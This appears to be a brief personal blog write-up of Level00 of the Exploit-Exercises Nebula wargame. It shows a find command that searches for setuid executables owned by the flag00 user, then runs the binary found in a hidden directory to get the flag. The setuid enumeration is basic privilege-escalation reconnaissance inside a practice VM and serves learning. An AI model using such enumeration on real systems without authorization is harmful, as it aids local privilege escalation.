I decided to improve my exploiting skillz and try the Exploit-Exercises levels. First levels are quite easy but I decided to catch them'all! Ok, so Level00 is about finding a executable owned by flag00 user and that has the setuid flag, easy as: level00@nebula:~$ find / -executable -user flag00 -perm -4000 2> /dev/null /bin/.../flag00 level00@nebula:~$cd /bin/... level00@nebula:/bin/...$ ./flag00 Congrats, now run getflag to get your flag! flag00@nebula:/bin/...$ getflag You have successfully executed getflag on a target account
